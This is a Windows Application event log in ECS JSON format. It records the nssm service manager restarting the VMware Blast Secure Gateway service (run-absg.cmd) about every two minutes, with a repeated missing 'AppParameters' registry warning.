{"@timestamp":1646644805128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154930}}
{"@timestamp":1646644805129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154931}}
{"@timestamp":1646644805130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154932}}
{"@timestamp":1646644933645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154933}}
{"@timestamp":1646644933646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154934}}
{"@timestamp":1646644933646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","146672","0"]}}},"module":"Application","provider":"nssm","sequence":154935}}
{"@timestamp":1646644933647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["146672","146672","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154936}}
{"@timestamp":1646644933662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154937}}
{"@timestamp":1646644933662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154938}}
{"@timestamp":1646644933663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154939}}
{"@timestamp":1646644933664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154940}}
{"@timestamp":1646645062363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154941}}
{"@timestamp":1646645062363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154942}}
{"@timestamp":1646645062364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151924","0"]}}},"module":"Application","provider":"nssm","sequence":154943}}
{"@timestamp":1646645062364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151924","151924","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154944}}
{"@timestamp":1646645062381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154945}}
{"@timestamp":1646645062381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154946}}
{"@timestamp":1646645062382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154947}}
{"@timestamp":1646645062383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154948}}
{"@timestamp":1646645190882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154949}}
{"@timestamp":1646645190883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154950}}
{"@timestamp":1646645190885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152088","0"]}}},"module":"Application","provider":"nssm","sequence":154951}}
{"@timestamp":1646645190886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152088","152088","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154952}}
{"@timestamp":1646645190901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154953}}
{"@timestamp":1646645190902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154954}}
{"@timestamp":1646645190902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154955}}
{"@timestamp":1646645190903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154956}}
{"@timestamp":1646645319391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154957}}
{"@timestamp":1646645319392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154958}}
{"@timestamp":1646645319392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151844","0"]}}},"module":"Application","provider":"nssm","sequence":154959}}
{"@timestamp":1646645319392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151844","151844","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154960}}
{"@timestamp":1646645319408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154961}}
{"@timestamp":1646645319408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154962}}
{"@timestamp":1646645319409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154963}}
{"@timestamp":1646645319410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154964}}
{"@timestamp":1646645447914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154965}}
{"@timestamp":1646645447915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154966}}
{"@timestamp":1646645447915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151696","0"]}}},"module":"Application","provider":"nssm","sequence":154967}}
{"@timestamp":1646645447915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151696","151696","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154968}}
{"@timestamp":1646645447933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154969}}
{"@timestamp":1646645447934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154970}}
{"@timestamp":1646645447935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154971}}
{"@timestamp":1646645447936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154972}}
{"@timestamp":1646645576415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154973}}
{"@timestamp":1646645576416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154974}}
{"@timestamp":1646645576417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151968","0"]}}},"module":"Application","provider":"nssm","sequence":154975}}
{"@timestamp":1646645576417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151968","151968","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154976}}
{"@timestamp":1646645576432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154977}}
{"@timestamp":1646645576433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154978}}
{"@timestamp":1646645576434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154979}}
{"@timestamp":1646645576434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154980}}
{"@timestamp":1646645704923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154981}}
{"@timestamp":1646645704924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154982}}
{"@timestamp":1646645704925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","145048","0"]}}},"module":"Application","provider":"nssm","sequence":154983}}
{"@timestamp":1646645704927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["145048","145048","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154984}}
{"@timestamp":1646645704942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154985}}
{"@timestamp":1646645704943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154986}}
{"@timestamp":1646645704943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154987}}
{"@timestamp":1646645704944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154988}}
{"@timestamp":1646645833443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154989}}
{"@timestamp":1646645833443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154990}}
{"@timestamp":1646645833444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150368","0"]}}},"module":"Application","provider":"nssm","sequence":154991}}
{"@timestamp":1646645833444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150368","150368","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154992}}
{"@timestamp":1646645833460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154993}}
{"@timestamp":1646645833460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154994}}
{"@timestamp":1646645833461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154995}}
{"@timestamp":1646645833462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154996}}
{"@timestamp":1646645961942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154997}}
{"@timestamp":1646645961943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154998}}
{"@timestamp":1646645961944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151616","0"]}}},"module":"Application","provider":"nssm","sequence":154999}}
{"@timestamp":1646645961944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151616","151616","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155000}}
{"@timestamp":1646645961959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155001}}
{"@timestamp":1646645961960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155002}}
{"@timestamp":1646645961960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155003}}
{"@timestamp":1646645961961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155004}}
{"@timestamp":1646646090456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155005}}
{"@timestamp":1646646090457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155006}}
{"@timestamp":1646646090459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150760","0"]}}},"module":"Application","provider":"nssm","sequence":155007}}
{"@timestamp":1646646090460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150760","150760","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155008}}
{"@timestamp":1646646090475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155009}}
{"@timestamp":1646646090476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155010}}
{"@timestamp":1646646090476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155011}}
{"@timestamp":1646646090477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155012}}
{"@timestamp":1646646218981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155013}}
{"@timestamp":1646646218981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155014}}
{"@timestamp":1646646218982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151684","0"]}}},"module":"Application","provider":"nssm","sequence":155015}}
{"@timestamp":1646646218982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151684","151684","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155016}}
{"@timestamp":1646646218997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155017}}
{"@timestamp":1646646218998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155018}}
{"@timestamp":1646646218999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155019}}
{"@timestamp":1646646218999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155020}}
{"@timestamp":1646646347491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155021}}
{"@timestamp":1646646347491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155022}}
{"@timestamp":1646646347491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151812","0"]}}},"module":"Application","provider":"nssm","sequence":155023}}
{"@timestamp":1646646347492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151812","151812","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155024}}
{"@timestamp":1646646347508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155025}}
{"@timestamp":1646646347509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155026}}
{"@timestamp":1646646347509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155027}}
{"@timestamp":1646646347510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155028}}
{"@timestamp":1646646476078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155029}}
{"@timestamp":1646646476079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155030}}
{"@timestamp":1646646476079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151828","0"]}}},"module":"Application","provider":"nssm","sequence":155031}}
{"@timestamp":1646646476080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151828","151828","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155032}}
{"@timestamp":1646646476094,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155033}}
{"@timestamp":1646646476095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155034}}
